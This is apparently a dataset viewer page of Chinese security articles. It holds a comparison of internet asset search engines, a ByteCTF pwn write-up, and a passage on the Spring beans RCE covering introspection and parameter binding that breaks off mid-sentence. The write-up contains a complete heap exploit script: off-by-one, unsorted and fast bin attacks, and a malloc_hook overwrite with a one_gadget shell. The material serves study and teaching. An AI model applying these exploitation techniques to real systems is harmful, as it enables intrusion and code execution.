Datasets:
clouditera
/
security-paper-datasets

Dataset card Data Studio Files Community
4
text
stringlengths
100
9.93M
category
stringclasses
11 values
## 网络空间搜索引擎的区别 1. ### [fofa](https://fofa.so/) fofa是白帽汇推出的网络空间测绘引擎。白帽汇是一家专注于网络空间测绘与前沿技术研究的互联网安全公司，主要从事网络安全产品开发与服务支撑等相关工作，为国家监管部门及政企用户提供综合性整体解决方案，有效提升网络安全整体防御实力。 #### 优点 个人使用比较多的一个。fofa特点是对资产特征收集比较完善，fofa语法我数了数多达40条，每一条都可以算作是资产的一个特征。fofa还支持图标搜索。 fofa新出的蜜罐识别功能可真是吊炸天了。攻防演练时对红队来说绝对是好消息。 fofa最好用的一点是针对服务进行结果展示。每当有新漏洞出现时，你会发现那些漏洞复现文章都喜欢放上一个fofadork，也就是fofa的搜索语法，使用这个语法可以快速的找到符合条件的可能有漏洞资产。这么说吧，fofa的漏洞相关性最好，更符合我们想快速复现漏洞的需求。 #### 缺点 资产重复性，还是这张图，可以看到虽然域名不同，但是ip是相同的，这对于想通过fofa来复现漏洞的需求来说这两条其实是一条。 #### 会员 普通用户网站查询结果只有50条，偏少。不过会员是终身的，这点还是很香的。 1. ### [zoomeye](https://www.zoomeye.org/) zoomeye是知道创宇推出的国内最早的空间测绘引擎。 #### 优点 zoomeye怎么说呢，算是中规中矩吧。搜索结果主观显示ip和地理位置，右上角的小地图可以直观展示某个国家的数量，右下角是按照年份的统计。 #### 缺点 没有像fofa那样有域名相关的展示，对域名的搜索不是很友好 再一点就是结果展示耗时比较久，虽然它上面写的用时挺短的，但是从浏览器开始搜索到浏览器结果展示出来耗时挺多的。 #### 会员 会员比较贵而且按月付费。注册用户1000条api还是比较香的，通过网站查询最多浏览400条。 1. ### [shodan](https://www.shodan.io/) #### 优点 shodan更关注互联网上的主机。 shodan的结果展示比较全面，有Technologies专门展示这台主机的所有指纹。 主机详情页面，最上面可以查看主机的地理位置，右下角是开放的所有端口，左下角可以查看这台主机指纹，甚至某些主机还好在左下角展示出存在的漏洞。 #### 缺点 每天网站搜索限额，多少我忘记了。如果搜索比较多的话，很快就会限额不能搜索了。 #### 会员 按月付费，偏贵，会员搜索结果还是比较多的，而且可以用于商业用途。 普通用户网站查询最多20条。 1. ### [sumap](https://www.bountyteam.com/laboratory) sumap是雷神众测实验室中的一款空间搜索引擎。 #### 优点 界面总体感觉跟fofa很像，然后结果展示跟shodan很像。 可以查看详情页，查看某一台主机的详细指纹和详细信息 还可以下载数据，下载结果是json格式的。fofa下载是要付费的。 #### 缺点 没有api查询，网站查询单次只能查看100条，比fofa多...。 #### 会员 未发现会员入口。 1. ### [quake](https://quake.360.cn/quake/#/index) quake是360的一款空间测绘引擎。 #### 优点 可以很方便组合查询条件，点击条件即可自动加入and查询 还可以导出数据 #### 缺点 还不太成熟，经常性语法错误 ip地址显示不全面，好多都是星号，导出的结果里面也是好多星号*。就这一点来说使用体验极差。 #### 会员 注册用户每月3000积分，积分可以用来查询和导出数据。1积分可以导出1条数据，也就是说每月最多导出3000条数据。 1. [censys](https://censys.io/ipv4) Censys是一款免费的搜索引擎，最初由密歇根大学的研究人员在10月发行，目前由谷歌提供支持。 #### 优点 结果展示比较友好，ip和域名，指纹，端口，系统，协议，地理位置等可以有个直观的展示。网站查询结果可以达到1000条。 #### 缺点 语法比较复杂，上手难度大。 每月查询次数限额，注册用户每月最多查询250次。基本够用了。 #### 会员 普通用户基本够用，不能用于商业用途。 1. [谛听](http://www.ditecting.com/index.php/Home/Index/index?l=zh-cn) 东北大学计算机学院姚羽教授组织学生编写研发——谛听(ditecting)网络空间工控设备搜索引擎。 #### 优点 是一款工控设备的网络空间搜索引擎，主要关注工控设备。对研究工控设备比较有用。 #### 缺点 只关注工控设备，平时用不到，这里就不多做笔墨了。 #### 会员 未发现会员入口 1. [dnsdb](https://www.dnsdb.io/zh-cn/) 全球DNS搜索引擎 #### 优点 DNSDB拥有近30亿DNS条记录，提供快速查询和反查功能 #### 缺点 普通用户功能较少，主要功能在会员用户上。查询解析到8.8.8.8的域名，查询出的结果不少，就是有星号，开会员可以去掉星号。 #### 会员 会员价格偏贵，毕竟只是查询dns。
社区文章
* * * # 简介 大佬都是秒题，但作为一个萌新做该题还是觉得很吃力，涉及很多并且不熟悉的知识点，学习记录一下过程，对自己和其他人都是有帮助的。 知识点包括，可以分别对照学习： 1. Off By One 2. Chunk Extend and Overlapping 3. Unsorted Bins Attack 4. Fast Bin Attack and Arbitrary Alloc 5. Overwrite Stdout Leak Libc 6. Overwrite malloc_hook and realloc 7. One gadget getshell # 信息 Checksec pwndbg> checksec [*] '/root/pwn/bytectf2019/note-five/note_five' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled IDA F5 main函数 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned int v3; // ST0C_4 __int64 result; // rax setbuff(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { v3 = menu(); result = v3; if ( v3 != 2 ) break; edit_info(); } if ( (signed int)result > 2 ) break; if ( (_DWORD)result != 1 ) goto bad_note; create_info(); } if ( (_DWORD)result != 3 ) break; delete_info(); } if ( (_DWORD)result == 4 ) return result; bad_note: puts("bad choice"); } } `menu`函数 int menu() { puts("infomation management:"); puts("1. new info"); puts("2. edit info"); puts("3. delete info"); puts("4. exit"); printf("choice>> "); return input_num(); } 包含创建、编辑、删除info的功能。 `create_info`函数 int create_info() { _DWORD *v0; // rax int info_id; // [rsp+8h] [rbp-8h] int size; // [rsp+Ch] [rbp-4h] printf("idx: "); info_id = input_num(); if ( info_id >= 0 && info_id <= 4 ) { printf("size: "); size = input_num(); if ( size > 143 && size <= 1024 ) // 对size进行限制，大于fast bins chunk { info_array[info_id] = malloc(size); v0 = info_len_array; info_len_array[info_id] = size; } else { LODWORD(v0) = puts("size error"); } } else { LODWORD(v0) = puts("idx error"); } return (signed int)v0; } 对`info`的`id`进行限制，范围`0-4`，最多`5`个；对`info`的`size`进行限制，大小为`143 -1024`，大于`fast bins chunk`，`chunk`释放后不会进入`fast bins`而进入`unsorted bins`。申请的空间地址根据索引`id`放入`info_array`，空间大小也根据索引`id`放入`info_len_array`。 `edit_info`函数 int edit_info() { int id; // [rsp+Ch] [rbp-4h] printf("idx: "); id = input_num(); if ( id < 0 || id > 4 || !info_array[id] ) return puts("idx error"); printf("content: "); return readinput(info_array[id], info_len_array[id], '\n'); } 根据索引`id`在数组中确定对象的空间地址和大小，并传入`readinput`写入内容。 `delete_info`函数 int delete_info() { _DWORD *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("idx: "); v2 = input_num(); if ( v2 >= 0 && v2 <= 4 ) { if ( info_array[v2] ) free((void *)info_array[v2]); info_array[v2] = 0LL; v0 = info_len_array; info_len_array[v2] = 0; } else { LODWORD(v0) = puts("idx error"); } return (signed int)v0; } `free`指针，`info_array`存储位置设为零。 `readinput`函数 __int64 __fastcall readinput(__int64 str_addr, signed int length, char EOF_string) { __int64 result; // rax char EOF; // [rsp+0h] [rbp-20h] unsigned __int8 buf; // [rsp+13h] [rbp-Dh] int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v7; // [rsp+18h] [rbp-8h] EOF = EOF_string; v7 = __readfsqword(0x28u); for ( i = 0; ; ++i ) { result = (unsigned int)i; if ( i > length ) break; if ( (signed int)read(0, &buf, 1uLL) <= 0 ) { puts("read error"); exit(0); } result = buf; if ( buf == EOF ) break; *(_BYTE *)(str_addr + i) = buf; } return result; } 从标准输入中读取并向指定的空间地址写入指定长度的内容，`break`的条件为`i > length`，可以溢出多写一字节，存在`off by one`漏洞。 # 解决 基本操作 #coding=utf-8 from pwn import * import struct context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] p = process("./note_five") pwnlib.gdb.attach(p) def create(idx,size): p.sendlineafter("choice>>",str(1)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("size:",str(size)) def edit(idx,content): p.sendlineafter("choice>>",str(2)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("content:",content) def delete(idx): p.sendlineafter("choice>>", str(3)) p.sendlineafter("idx:", str(idx)) 创建四个成员，大小如下： #创建四个chunk create(0,0x98) create(1,0x98) create(2,0x98) create(3,0x98) #隔离chunk，防止和top chunk合并 堆块如下： pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xa0 (inuse) chunk 0x5555557580a0 0xa0 (inuse) chunk 0x555555758140 0xa0 (inuse) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) ## Off By One delete(0) edit(1,"A"*0x90 + p64(0x140) + p8(0xa0)) raw_input("1") # off bu one overwrite next chunk(chunk2) szie and prev_size delete(2) 删除0号，挂入`unsorted bins`，在1号处进行`Off By One`，覆盖2号的`prev_chunk_size`为两个成员`chunk`大小`0x140(0xa0+0xa0)`，`prev_chunk_inuse`标志位置零。 pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xa0 (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC) chunk 0x5555557580a0 0xa0 (F) FD 0x4141414141414141 BK 0x4141414141414141 (LC) chunk 0x555555758140 0xa0 (inuse) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /10gx 0x555555758140 0x555555758140: 0x0000000000000140 0x00000000000000a0 0x555555758150: 0x0000000000000000 0x0000000000000000 0x555555758160: 0x0000000000000000 0x0000000000000000 0x555555758170: 0x0000000000000000 0x0000000000000000 0x555555758180: 0x0000000000000000 0x0000000000000000 ## Chunk Extend and Overlapping 删除2号，`free`过程根据`prev_chunk_inuse`触发空闲块合并，并根据`prev_chunk_size`偏移找到0号，合并为一个大小为`0x1E0(0x140+0xa0)`的`unsorted bins chunk` 堆块如下： pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0x1e0 (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /10gx 0x555555758000 0x555555758000: 0x0000000000000000 0x00000000000001e1 0x555555758010: 0x00007ffff7dd5b78 0x00007ffff7dd5b78 0x555555758020: 0x0000000000000000 0x0000000000000000 0x555555758030: 0x0000000000000000 0x0000000000000000 0x555555758040: 0x0000000000000000 0x0000000000000000 ## Unsorted Bins Attack 使用`Unsorted Bins Attack`修改`global_max_fast` create(0,0xe8) # 从unsorted bin chunk中分割一块使用 global_max_fast_addr = 0x7ffff7dd7848 edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10)) raw_input("3") create(4,0xe8) #通过1号info设置剩余的unsorted bins chunk，unsorted bin attack，修改global_max_fast 创建0号，大小为`0xe8`，会从`unsorted bin chunk`中分割一块用于分配。 此时`unsorted bins chunk`中包含可控的1号，且地址为`0x5555557580a0`，使其覆盖到剩余未分配`unsorted bin chunk`。 pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xf0 (inuse) chunk 0x5555557580f0 0xf0 (F) FD 0x0 BK 0x7ffff7dd7838 chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /50gx 0x5555557580a0 0x5555557580a0: 0x00000000000000a0 0x00000000000000a0 0x5555557580b0: 0x4141414141414141 0x4141414141414141 0x5555557580c0: 0x4141414141414141 0x4141414141414141 0x5555557580d0: 0x4141414141414141 0x4141414141414141 0x5555557580e0: 0x4141414141414141 0x4141414141414141 0x5555557580f0: 0x0000000000000000 0x00000000000000f1 0x555555758100: 0x0000000000000000 0x00007ffff7dd7838 创建4号，将`global_max_fast`修改为`unsorted_chunks(av)` pwndbg> p /x global_max_fast $2 = 0x7ffff7dd5b78 值很大，此时题目中创建的堆块都会被当做`fast bin chunk`进行处理。 ## Fast Bin Attack Arbitrary Alloc Laek Libc delete(4) #删除并放入fast bins edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf)) #fast bin attack 修改第二次申请的地址为stdout附近 create(2,0xe8) create(4,0xe8) raw_input("4") #覆盖stdout属性 edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40') #泄露Libc相关地址 leak = u64(p.recvline()[1:8].ljust(8, '\x00')) #raw_input("5") log.success("leak addr :" + hex(leak)) libc_base = leak - (leak - 0x7ffff7a49000) log.success("libc_addr :" + hex(libc_base)) #计算相关地址 libc = ELF("./libc.debug.so") one_gadget = libc_base + 0x3d169 malloc_hook = libc_base + libc.symbols['__malloc_hook'] realloc = libc_base + libc.symbols['__libc_realloc'] stdin = libc_base + libc.symbols['_IO_2_1_stdin_'] 删除4号，并再次通过1号进行覆盖，连续分配两次，通过`fast bin attack`在第二次分配时实现任意地址分配，分配到`stdout`附近。覆盖`stdout`中的`flag`和`_IO_write_base`，泄露Libc相关地址。 pwndbg> p stdout $3 = (struct _IO_FILE *) 0x7ffff7dd6620 <_IO_2_1_stdout_> pwndbg> x /10gx 0x7ffff7dd6620 0x7ffff7dd6620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x0000000000000000 0x7ffff7dd6630 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd6640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd6640 0x00007ffff7dd66a3 0x7ffff7dd6650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd66a3 0x00007ffff7dd66a3 0x7ffff7dd6660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd66a4 0x0000000000000000 ## Overwrite `__malloc_hook` `__realloc_hook` delete(2) #加入fast bin中 edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f)) #覆盖并利用fast bin attack指定预分配地址 create(2,0xe8) create(4,0xe8) edit(4,'A'*0xe0 + p64(0) + p64(0xf1)) #覆盖并创建合适的chunk header用于下次申请的chunk覆盖__malloc_hook 和 __realloc_hook `fast bins`分配的过程中会根据申请空间大小`0xe8`的计算`idx`和与分配地址的计算的idx是否相同， 主要是根据`chunk size`进行计算。 在能够包含`__malloc_hook` 和 `__realloc_hook`附近没有合适的位置(chunk size)可以用作分配的chunk ，但是有更远处却符合分配`chunk`。先分配较远位置作为跳板，创建合适的`chunk header`用于下次申请能够覆盖`__malloc_hook` 和`__realloc_hook`的`chunk`。 pwndbg> x /10gx 0x555555756080 0x555555756080: 0x0000555555758010 0x00005555557580b0 0x555555756090: 0x0000555555758100 0x00005555557581f0 0x5555557560a0: 0x00007ffff7dd597f 0x2e00725f6e6f6973 0x5555557560b0: 0x6e79642e616c6572 0x2e0074696e692e00 0x5555557560c0: 0x746c702e00746c70 0x65742e00746f672e pwndbg> x /60gx 0x00007ffff7dd596f 0x7ffff7dd596f <_IO_2_1_stdin_+143>: 0xffffffffffffff00 0x00000000000000ff 0x7ffff7dd597f <_IO_2_1_stdin_+159>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd598f <_IO_2_1_stdin_+175>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd599f <_IO_2_1_stdin_+191>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59af <_IO_2_1_stdin_+207>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59bf <_IO_2_1_stdin_+223>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59cf <_IO_wide_data_0+15>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59df <_IO_wide_data_0+31>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59ef <_IO_wide_data_0+47>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59ff <_IO_wide_data_0+63>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a0f <_IO_wide_data_0+79>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a1f <_IO_wide_data_0+95>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a2f <_IO_wide_data_0+111>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a3f <_IO_wide_data_0+127>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a4f <_IO_wide_data_0+143>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a5f <_IO_wide_data_0+159>: 0x0000000000000000 0x00000000000000f1 0x7ffff7dd5a6f <_IO_wide_data_0+175>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a7f <_IO_wide_data_0+191>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a8f <_IO_wide_data_0+207>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a9f <_IO_wide_data_0+223>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5aaf <_IO_wide_data_0+239>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5abf <_IO_wide_data_0+255>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5acf <_IO_wide_data_0+271>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5adf <_IO_wide_data_0+287>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5aef <_IO_wide_data_0+303>: 0x007ffff7dd426000 0x0000000000000000 0x7ffff7dd5aff: 0x007ffff7abea5100 0x007ffff7abea1200 0x7ffff7dd5b0f <__realloc_hook+7>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5b1f: 0x0000000000000000 0x0000000000000000 再次分配且chunk位置为前面构造处，包含`__malloc_hook` 和`__realloc_hook`的`chunk`。 delete(2) edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1)) create(2,0xe8) create(4,0xe8) edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2)) # 覆盖__realloc_hook为one_gadget，__malloc_hook为realloc + 2 create(4,0xe8) p.interactive() 覆盖`__realloc_hook`为one_gadget，`__malloc_hook`为`realloc + 2`，利用`realloc`调整rsp使one_gadget更加稳定。 root@10-8-163-191:~/# one_gadget libc.debug.so 0x3d169 execve("/bin/sh", rsp+0x20, environ) constraints: [rsp+0x20] == NULL 0x3d16e execve("/bin/sh", rsi, environ) constraints: [rsi] == NULL || rsi == NULL 0xcf2ac execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL ## exp 整理集合一下 #coding=utf-8 from pwn import * import struct context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] p = process("./note_five") pwnlib.gdb.attach(p) def create(idx,size): p.sendlineafter("choice>>",str(1)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("size:",str(size)) def edit(idx,content): p.sendlineafter("choice>>",str(2)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("content:",content) def delete(idx): p.sendlineafter("choice>>", str(3)) p.sendlineafter("idx:", str(idx)) #创建四个chunk create(0,0x98) create(1,0x98) create(2,0x98) create(3,0x98) #隔离chunk，防止和top chunk合并 delete(0) edit(1,"A"*0x90 + p64(0x140) + p8(0xa0)) # off bu one overwrite next chunk(chunk2) szie and prev_size delete(2) #unsorted bins chunk extend Overlapping create(0,0xe8) # 从unsorted bin chunk中分割一块 global_max_fast_addr = 0x7ffff7dd7848 edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10)) create(4,0xe8) #通过1号info设置剩下的unsorted bins chunk，unsorted bin attack，修改global_max_fast delete(4) #删除并放入fast bins edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf)) #fast bin attack 修改第二次申请的地址为stdout附近 create(2,0xe8) create(4,0xe8) edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40') #覆盖stdout，泄露Libc相关地址 leak = u64(p.recvline()[1:8].ljust(8, '\x00')) log.success("leak addr :" + hex(leak)) libc_base = leak - (leak - 0x7ffff7a49000) log.success("libc_addr :" + hex(libc_base)) libc = ELF("./libc.debug.so") one_gadget = libc_base + 0x3d169 malloc_hook = libc_base + libc.symbols['__malloc_hook'] realloc = libc_base + libc.symbols['__libc_realloc'] stdin = libc_base + libc.symbols['_IO_2_1_stdin_'] print "one_gadget-> " + hex(one_gadget) print "malloc_hook-> " + hex(malloc_hook) print "realloc-> " + hex(realloc) print "stdin-> " + hex(stdin) delete(2) edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f)) create(2,0xe8) create(4,0xe8) edit(4,'A'*0xe0 + p64(0) + p64(0xf1)) delete(2) edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1)) create(2,0xe8) create(4,0xe8) edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2)) create(4,0xe8) p.interactive() # 参考 <https://blog.csdn.net/qq_43189757/article/details/102486165>
社区文章
# spring-beans RCE ## 漏洞概述 ### 漏洞概述 该漏洞的本质类似于变量覆盖漏洞，利用变量覆盖，修改`tomcat`的配置，并修改`tomcat`的日志位置到根目录，修改日志的后缀为jsp，达到木马文件写入的效果 值得一提的是该漏洞是`CVE-2010-1622`的绕过，详情可以参考 <http://rui0.cn/archives/1158> ### 影响范围 * `spring-beans`版本`5.3.0 ~ 5.3.17`、`5.2.0 ~ 5.2.19` * `JDK 9+` * `Apache Tomcat` * 传参时使用`参数绑定`，且为`非基础数据类型` ### 漏洞核心 该漏洞的关键点，在于`JDK内省机制`以及`Spring属性注入`，在后文中都有详细的解析 ## 内省机制 ### JavaBean #### 什么是JavaBean * JavaBean是一种特殊的类，其内部没有功能性方法，主要包含信息字段和存储方法，因此JavaBean通常用于传递数据信息 * JavaBean类中的方法用于访问私有的字段，且方法名符合一定的命名规则 一般来说满足如下条件的，可以称为一个JavaBean * 所有属性为`private` * 提供默认的无参构造方法 * 提供`setter&getter`方法，让外部可以`设置&获取`JavaBean的属性 #### JavaBean的命名规则 1. JavaBean中的方法，去掉set/get前缀，剩下的就是属性名 **method:** `getName()` \--> **property:** `name` 1. 去掉前缀，剩下的部分中第二个字母是大写/小写，则剩下的部分应全部大写/小写 `getSEX()` #### JavaBean内省 一个类被当作javaBean使用时，JavaBean的属性是根据方法名推断出来的，使用它的程序看不到JavaBean内部的成员变量 内省即：当一个类是满足JavaBean条件时，就可以使用特定的方式，来获取和设置JavaBean中的属性值 ### API Java中提供了一套API来访问某个属性的setter/getter方法，一般的做法是通过`Introspector.getBeanInfo()`方法来获取某个对象的`BeanInfo` ，然后通过 `BeanInfo`来获取属性的描述器`PropertyDescriptor`，通过`PropertyDescriptor`就可以获取某个属性对应的`getter/setter`方法，然后通过反射机制来调用这些方法。 #### Introspector 除了JDK的`Introspector`，还有`Apache BeanUtils`，这里仅介绍前者 `Introspector`类位于`java.beans`包下 ##### Introspector api 该类中的主要方法`getBeanInfo`都是静态方法 // 获取 beanClass 及其所有父类的 BeanInfo BeanInfo getBeanInfo(Class<?> beanClass) // 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass) ##### beaninfo api // bean 信息 BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor(); // 属性信息 PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); // 方法信息 MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors(); ##### demo 有这样一个JavaBean，尝试用Introspector来获取其属性 **UserInfo** public class UserInfo { private String id; private String name; public String getSex() { return null; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } **IntrospectorTest** 这里调用`Introspector.getBeanInfo`，不使用带有`stopClass`的重载方法，会让JDK连父类一并进行内省操作 public class IntrospectorTest { public static void main(String[] args) throws IntrospectionException { BeanInfo beanInfo = Introspector.getBeanInfo(UserInfo.class); PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { System.out.println("Property: " + propertyDescriptor.getName()); } } } **output** Property:class Property:id Property:name Property:sex **预期内的结果** * id (有getter方法) * name (有getter方法) * sex (虽然没有该属性，但是有getter方法，内省机制就会认为存在sex属性) **非预期内的结果** * class 这里出现了一个非常有意思的点，也是导致整个漏洞的关键因素之一，为什么会出现class呢 因为在Java中，所有的类都会默认继承`Object`类 而在`Object`中，又存在一个`getClass()`方法，内省机制就会认为存在一个class属性 尝试再获取class属性的beaninfo `Introspector.getBeanInfo(Class.class);` Property:annotatedInterfaces Property:annotatedSuperclass Property:annotation Property:annotations Property:anonymousClass Property:array Property:canonicalName Property:class Property:classLoader Property:classes Property:componentType Property:constructors Property:declaredAnnotations Property:declaredClasses ...... 已经可以看到熟悉的`classLoader`了 ## 参数绑定 该漏洞的原理类似变量覆盖漏洞，通过传参修改tomcat日志的路径以及后缀等，本质其实是`SpringMVC`的参数绑定 简单介绍一下`SpringMVC`的参数绑定 ### 基本类型、包装类型 基本类型int @RequestMapping("/index") @ResponseBody public String baseType(int age) { return "age: " + age; } <http://localhost:8080/index?age=8> 包装类型 @RequestMapping("/index") @ResponseBody public String packingType(Integer age) { return "age: " + age; } 包装类型主要是为了规避参数为空的问题，因为其不传值就赋null，但是int类型却不能为null ### 对象 #### 多层级对象 public class UserInfo { private Integer age; private String address; ......补充其 get set toString 方法 } 在 User 类中引入这个类，这种情况该如何绑定参数呢 public class User { private String id; private String name; private UserInfo userInfo; } [http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing](http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing) #### 同属性对象 如果我们想要直接接收两个对象，有时候免不了有相同的成员，例如我们的`User`和`Student`类中均含有 `id` 、`name`两个成员，我们试着请求一下 @RequestMapping("/index") @ResponseBody public String objectType2(User user, Student student) { return user.toString() + " " + student.toString(); } [http://localhost:8080/index?id=0&name=t4r](http://localhost:8080/index?id=0&name=t4r) 返回结果：User{id='0', name='t4r'} Student{id='0', name='t4r'} 可以看到，两个对象的值都被赋上了，但是，大部分情况下，不同的对象的值一般都是不同的，为此，我们还有解决办法 @InitBinder 注解可以帮助我们分开绑定，下面的代码也就是说分别给`user`、`student`指定一个前缀 @InitBinder("user") public void initUser(WebDataBinder binder) { binder.setFieldDefaultPrefix("user."); } @InitBinder("student") public void initStudent(WebDataBinder binder) { binder.setFieldDefaultPrefix("stu."); } [http://localhost:8080/index?user.id=1&name=t4r&stu.id=002](http://localhost:8080/index?user.id=1&name=t4r&stu.id=002) ### 数组 @RequestMapping("/index") @ResponseBody public String arrayType(String[] name) { StringBuilder sb = new StringBuilder(); for (String s : nickname) { sb.append(s).append(", "); } return sb.toString(); } [http://localhost:8080/index?name=Alice&name=Bob](http://localhost:8080/index?name=Alice&name=Bob) 返回结果：Alice, Bob ### 集合 #### List类型 集合是不能直接进行参数绑定的，所以我们需要创建出一个类，然后在类中进行对`List`的参数绑定 控制层方法中，参数就是这个创建出来的类 @RequestMapping("/index") @ResponseBody public String listType(UserList userList) { return userList.toString(); } [http://localhost:8080/index?users[0].id=1&users[0].name=Alice&users[1].id=2&users[1].name=Bob](http://localhost:8080/index?users\[0\].id=1&users\[0\].name=Alice&users\[1\].id=2&users\[1\].name=Bob) 如果`Tomcat`版本是高于7的 ，执行上述请求就会报`400`错误 这是因为Tomcat高的版本地址中不能使用`[`和`]` ，我们可以将其换成对应的16进制，即 `[` 换成 `%5B`，`]` 换成`%5D` [http://localhost:8080/index?users%5B0%5D.id=1&users%5B0%5D.name=Alice&users%5B1%5D.id=2&users%5B1%5D.name=Bob](http://localhost:8080/index?users%5B0%5D.id=1&users%5B0%5D.name=Alice&users%5B1%5D.id=2&users%5B1%5D.name=Bob) 或者直接用`post`请求也可以 #### Map类型 map 类型是一样的套路，我们先创建一个 UserMap类，然后在其中声明 `private Map<String,User> users` 进而绑定参数 @RequestMapping("/index") @ResponseBody public String mapType(UserMap userMap) { return userMap.toString(); } [http://localhost:8080/index?users['userA'].id=1&users['userA'].name=Alice&users['userB'].id=2&users['userB'].name=Bob](http://localhost:8080/mapType.do?users\['userA'\].id=1&users\['userA'\].name=Alice&users\['userB'\].id=2&users\['userB'\].name=Bob) 同样 `[]` 会遇到上面的错误，所以如果想要在地址栏请求访问，就需要替换字符，或者发起一个`post`请求 ## 属性注入 ### BeanWrapper * `PropertyEditorRegistry` PropertyEditor 注册、查找 * `TypeConverter` 类型转换，其主要的工作由 TypeConverterDelegate 这个类完成的 * `PropertyAccessor` 属性读写 * `ConfigurablePropertyAccessor` 配置一些属性，如设置`ConversionService`、是否暴露旧值、嵌套注入时属性为 null 是否自动创建 * `BeanWrapper` 对 bean 进行封装 * `AbstractNestablePropertyAccessor` 实现了对嵌套属性注入的处理 #### 获取BeanWrapper实例 从上图可知，获取BeanWrapper实例可以通过其唯一实现类BeanWrapperImpl获取 BeanWrapper beanWrapper = new BeanWrapperImpl(对象); #### 属性注入 beanWrapper.setPropertyValue(属性名, 属性值); beanWrapper.setPropertyValue("name", "t4r"); 也可以通过PropertyValue PropertyValue propertyValue = new PropertyValue("age", "80"); beanWrapper.setPropertyValue(propertyValue); 上述代码可以将属性值自动转换为适配的数据类型，过程如下 下图是跟踪`BeanWrapperImpl#setPropertyValue(实际调用的就是父类AbstractNestablePropertyAccessor#setPropertyValue)`到`AbstractNestablePropertyAccessor#processLocalProperty`的代码 可以总结一下`processLocalProperty`函数主要做了两件事: * **类型转换：**`convertForProperty`利用`JDK`的`PropertyEditorSupport`进行类型转换 * **属性设置：**`setValue`使用反射进行赋值，`BeanWrapperImpl#BeanPropertyHandler#setValue` `setValue`最终通过反射进行属性赋值，如下 #### 嵌套属性注入 autoGrowNestedPaths=true 